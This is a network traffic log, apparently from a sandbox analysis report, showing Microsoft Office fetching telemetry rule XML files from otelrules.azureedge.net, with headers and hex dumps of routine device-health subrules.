EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	57923	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:29:59 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:29:59 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:29:59 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: fed974bc-201e-003c-5de9-1b30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T182959Z-r154656d9bcghtlhf7uxqc3wnn00000002b000000000zhm8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:29:59 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	57926	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:29:59 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:29:59 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:29:59 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: e1b47659-601e-00ab-14a3-1b66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T182959Z-1597f696844fbtvxvfb7m9xkb0000000042000000000c6a7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:29:59 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	57925	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:29:59 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:29:59 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:29:59 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 415adc63-301e-0052-5ea3-1b65d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T182959Z-1597f696844d2h6g34xqfa1q1n00000002kg000000011588 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:29:59 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	57922	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:29:59 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:29:59 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:29:59 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: a65062bf-401e-00ac-0ea3-1b0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T182959Z-r154656d9bcghtlhf7uxqc3wnn00000002dg00000000kgug x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:29:59 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	57928	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:00 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:00 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:00 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: e5d22ed5-201e-0071-72ac-1bff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183000Z-r154656d9bcpcz2wp6sxz2m5qw00000000sg00000000y0mm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:00 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	57927	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:00 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:00 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:00 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: b1e48aa2-701e-0053-2fa3-1b3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183000Z-r154656d9bcbgl7txcdy78hpp400000002wg000000006m1c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:00 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	57929	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:00 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:00 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:00 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 999224e7-101e-0079-39d7-1a5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183000Z-1597f696844c8tlv61bxv37s7000000002cg00000000080d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:00 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	57931	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:00 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:00 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:00 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: bdad252a-001e-0082-77ad-1b5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183000Z-r154656d9bcqqgssyv95384a1c0000000yf000000000gqk4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:00 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	57930	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:00 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:00 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:00 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: ce6c75d1-b01e-003e-3ead-1b8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183000Z-1597f696844jcvgbhxyvubykh400000000rg000000004tsy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:00 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	57934	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:01 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:01 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:01 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 38c0e901-901e-0016-3f33-1aefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183001Z-1597f696844jcvgbhxyvubykh400000000hg00000000sxbs x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:01 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	57935	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:01 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:01 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:01 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 408dc6e4-801e-0078-5ca3-1bbac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183001Z-r154656d9bcw8wfsu93rvvbgpc00000001eg00000000p8d1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:01 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	57932	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:01 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:01 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:01 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: e5b59701-201e-0071-31a3-1bff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183001Z-1597f696844qt6drz6tdp68z0s000000016000000000bgz6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
